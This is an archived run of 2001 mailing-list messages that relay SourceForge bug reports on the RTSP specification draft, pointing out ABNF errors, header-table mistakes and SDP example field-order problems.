Assigned to: Nobody/Anonymous (nobody)
Summary: Missing session header in response

Initial Comment:
Page 38 first example: Example missing session header in response.
Should not the client respond with what session id the respond relates to, as the
request contained one.

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477403&group_id=23194

From confctrl-owner  Thu Nov  1 23:21:47 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id XAA06890
	for confctrl-outgoing; Thu, 1 Nov 2001 23:21:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA06885
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:21:46 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27MFg22330
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:22:15 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYec-0003O9-00; Thu, 01 Nov 2001 23:22:14 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYec-0007uE-00; Thu, 01 Nov 2001 23:22:14 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477404 ] Errors in table in chapter 12
Message-Id: <E15zYec-0007uE-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:22:14 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477404, was opened at 2001-11-01 23:22
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477404&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Errors in table in chapter 12

Initial Comment:
 Table with RTSP headers page 45, contains the following errors?:
  - A session header is not required when using describe.
  - Proxy Authenticate is missing all values on what it is.
  - The transport header is specifed as required in 12.0 table, but
    the text in 12.39 says it MAY be included in requests and responses.

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477404&group_id=23194

From confctrl-owner  Thu Nov  1 23:23:02 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA06973
	for confctrl-outgoing; Thu, 1 Nov 2001 23:23:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA06968
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:23:01 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27NUg22360
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:23:30 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYfq-0003Or-00; Thu, 01 Nov 2001 23:23:30 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYfq-0007uw-00; Thu, 01 Nov 2001 23:23:30 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477405 ] Missing in transport ABNF:source
Message-Id: <E15zYfq-0007uw-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:23:30 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477405, was opened at 2001-11-01 23:23
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477405&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Missing in transport ABNF:source

Initial Comment:
Page 59, the "source:" paragrah what is the intention? Is it just
missing in the BNF for transport headers?

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477405&group_id=23194

From confctrl-owner  Thu Nov  1 23:26:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA07095
	for confctrl-outgoing; Thu, 1 Nov 2001 23:26:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA07090
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:26:06 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27QZg23223
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:26:35 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYio-0003Ql-00; Thu, 01 Nov 2001 23:26:34 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYio-0007xc-00; Thu, 01 Nov 2001 23:26:34 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477407 ] Transport BNF, ; and unclearities
Message-Id: <E15zYio-0007xc-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:26:34 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477407, was opened at 2001-11-01 23:26
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477407&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Transport BNF, ; and unclearities

Initial Comment:
Page 61, Transport BNF: Should not multicast/unicast be proceeded by a ";"? Is multiple entries of 
the same type allowed? Are there any requirement on having multicast/unicast first?



----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477407&group_id=23194

From confctrl-owner  Thu Nov  1 23:27:13 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id XAA07164
	for confctrl-outgoing; Thu, 1 Nov 2001 23:27:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA07159
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:27:12 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27Rfg23408
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:27:41 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYjt-0003RK-00; Thu, 01 Nov 2001 23:27:41 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYjt-0007yI-00; Thu, 01 Nov 2001 23:27:41 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477408 ] Session ID BNF, correction
Message-Id: <E15zYjt-0007yI-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:27:41 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477408, was opened at 2001-11-01 23:27
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477408&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Session ID BNF, correction

Initial Comment:
Section 3.4 definition of session-id should it not be:
  session-id   =   8*( ALPHA | DIGIT | safe )
  instead of 1*?

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477408&group_id=23194

From confctrl-owner  Thu Nov  1 23:29:09 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id XAA07230
	for confctrl-outgoing; Thu, 1 Nov 2001 23:29:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA07225
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:29:08 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27Tcg23632
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:29:38 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYll-0003SU-00; Thu, 01 Nov 2001 23:29:37 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYll-0007zh-00; Thu, 01 Nov 2001 23:29:37 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477411 ] SDP examples, field order
Message-Id: <E15zYll-0007zh-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:29:37 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477411, was opened at 2001-11-01 23:29
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477411&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: SDP examples, field order

Initial Comment:
SDP examples in spec is in wrong order: The SDP specifcation requires a certain order between the 
type names, see section 6 in RFC 2327.

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477411&group_id=23194

From confctrl-owner  Thu Nov  1 23:31:02 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA07398
	for confctrl-outgoing; Thu, 1 Nov 2001 23:31:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA07393
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:31:01 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27VUg24031
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:31:30 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYna-0003UW-00; Thu, 01 Nov 2001 23:31:30 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYna-00081K-00; Thu, 01 Nov 2001 23:31:30 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477411 ] SDP examples, field order
Message-Id: <E15zYna-00081K-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:31:30 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477411, was opened at 2001-11-01 23:29
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477411&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: SDP examples, field order

Initial Comment:
SDP examples in spec is in wrong order: The SDP specifcation requires a certain order between the 
type names, see section 6 in RFC 2327.

----------------------------------------------------------------------

>Comment By: Magnus Westerlund (magwes)
Date: 2001-11-01 23:31

Message:
Logged In: YES 
user_id=302620

These are at least erronous

14.4 Live Media Presentation Using Multicast
 ...
 m=audio 3456 RTP/AVP 0
 a=control:rtsp://live.example.com/concert/audio
 c=IN IP4 224.2.0.1/16

 and

 C.2 Aggregate Control Not Available
 ...
 s=I came from a web page
 t=0 0
 c=IN IP4 0.0.0.0

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477411&group_id=23194

From confctrl-owner  Thu Nov  1 23:32:00 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA07520
	for confctrl-outgoing; Thu, 1 Nov 2001 23:32:00 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA07511
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:31:58 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27WQg24413
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:32:26 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYoU-0003VL-00; Thu, 01 Nov 2001 23:32:26 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYoU-000822-00; Thu, 01 Nov 2001 23:32:26 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477413 ] Transport BNF: mode
Message-Id: <E15zYoU-000822-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:32:26 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477413, was opened at 2001-11-01 23:32
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477413&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Transport BNF: mode

Initial Comment:
Transport ABNF, mode line, The "=" lacks " around it. There are also unclearities if you could 
actually have mode=""PLAY","RECORD"" ?


----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477413&group_id=23194

From confctrl-owner  Thu Nov  1 23:34:39 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA07653
	for confctrl-outgoing; Thu, 1 Nov 2001 23:34:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA07648
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:34:38 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27Z7g25359
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:35:08 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYr5-0003Wr-00; Thu, 01 Nov 2001 23:35:07 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYr5-00084R-00; Thu, 01 Nov 2001 23:35:07 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477415 ] Transport header example
Message-Id: <E15zYr5-00084R-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:35:07 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477415, was opened at 2001-11-01 23:35
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477415&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Transport header example

Initial Comment:
Page 68 example with transport header uses <mode=play> which does not include " which the 
ABNF says it should be. Correct according to ABNF is mode="PLAY"

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477415&group_id=23194

From confctrl-owner  Thu Nov  1 23:37:22 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA07809
	for confctrl-outgoing; Thu, 1 Nov 2001 23:37:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA07804
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:37:21 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27bog25839
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:37:50 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYti-0003YE-00; Thu, 01 Nov 2001 23:37:50 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYti-00086Y-00; Thu, 01 Nov 2001 23:37:50 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477416 ] BNF error section 3.6 NPT
Message-Id: <E15zYti-00086Y-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:37:50 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477416, was opened at 2001-11-01 23:37
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477416&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: BNF error section 3.6 NPT

Initial Comment:
BNF definition:npt-range, sec 3.6 lacks "npt=" in the begining of the definition. Compare with 
smpte-range or utc-range. 

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477416&group_id=23194

From confctrl-owner  Thu Nov  1 23:39:47 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA07902
	for confctrl-outgoing; Thu, 1 Nov 2001 23:39:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA07897
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:39:46 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27eFg26315
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:40:15 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYw3-0003ej-00; Thu, 01 Nov 2001 23:40:15 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYw3-000897-00; Thu, 01 Nov 2001 23:40:15 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477418 ] RTP info BNF error
Message-Id: <E15zYw3-000897-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:40:15 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477418, was opened at 2001-11-01 23:40
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477418&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: RTP info BNF error

Initial Comment:
Sec 12.33 RTP info syntax of RTP info is wrong, compared to the example. The current syntax 
specifec a comma separated list of URLS then follows the parameters. Should it not be like this?
  RTP-Info        = "RTP-Info" ":" 1#rtp-info-spec
  rtp-info-spec   = stream-url 1*parameter
  stream-url      = "url" "=" url
  parameter       = ";" "seq" "=" 1*DIGIT | ";" "rtptime" "=" 1*DIGIT




----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477418&group_id=23194

From confctrl-owner  Thu Nov  1 23:41:24 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA08048
	for confctrl-outgoing; Thu, 1 Nov 2001 23:41:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA08043
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:41:23 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27fqg26661
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:41:52 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYxc-0003h2-00; Thu, 01 Nov 2001 23:41:52 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYxc-0008A4-00; Thu, 01 Nov 2001 23:41:52 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477419 ] Update HTTP references
Message-Id: <E15zYxc-0008A4-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:41:52 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477419, was opened at 2001-11-01 23:41
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477419&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Update HTTP references

Initial Comment:
HTTP references
  RFC 2326 reference RFC 2068 which has been obsoleted by RFC 2616.
  How should you relate to the new RFC, and what to do with removed headers?

  Following things are missing in RFC2616
  - public header



----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477419&group_id=23194

From confctrl-owner  Thu Nov  1 23:42:05 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id XAA08099
	for confctrl-outgoing; Thu, 1 Nov 2001 23:42:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA08094
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:42:04 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27gXg26708
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:42:33 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYyH-0003hZ-00; Thu, 01 Nov 2001 23:42:33 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYyH-0008AZ-00; Thu, 01 Nov 2001 23:42:33 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477420 ] Missing definition of 1\#
Message-Id: <E15zYyH-0008AZ-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:42:33 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477420, was opened at 2001-11-01 23:42
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477420&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Missing definition of 1\#

Initial Comment:
What is the definition of 1\# in the BNF? I can't find it in either RFC 2068, 2234, 2326, or 2616.

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477420&group_id=23194

From confctrl-owner  Thu Nov  1 23:43:10 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA08203
	for confctrl-outgoing; Thu, 1 Nov 2001 23:43:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA08198
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:43:09 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27hbg26802
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:43:37 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYzI-0003iD-00; Thu, 01 Nov 2001 23:43:36 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYzI-0008Bb-00; Thu, 01 Nov 2001 23:43:36 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477421 ] When to send response
Message-Id: <E15zYzI-0008Bb-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:43:36 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477421, was opened at 2001-11-01 23:43
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477421&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: When to send response

Initial Comment:
Server can't respond to a bad request if no sequence number is present in the request. Resulting in 
that the client does not know that the server has received it and has issues. Please clarify when a 
server is allowed to send response to bad request.

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477421&group_id=23194

From confctrl-owner  Thu Nov  1 23:44:48 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA08360
	for confctrl-outgoing; Thu, 1 Nov 2001 23:44:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA08352
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:44:46 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27jFg26946
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:45:15 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zZ0s-0003kD-00; Thu, 01 Nov 2001 23:45:14 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zZ0s-0008DA-00; Thu, 01 Nov 2001 23:45:14 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477423 ] Unclearities regarding pause with range
Message-Id: <E15zZ0s-0008DA-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:45:14 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

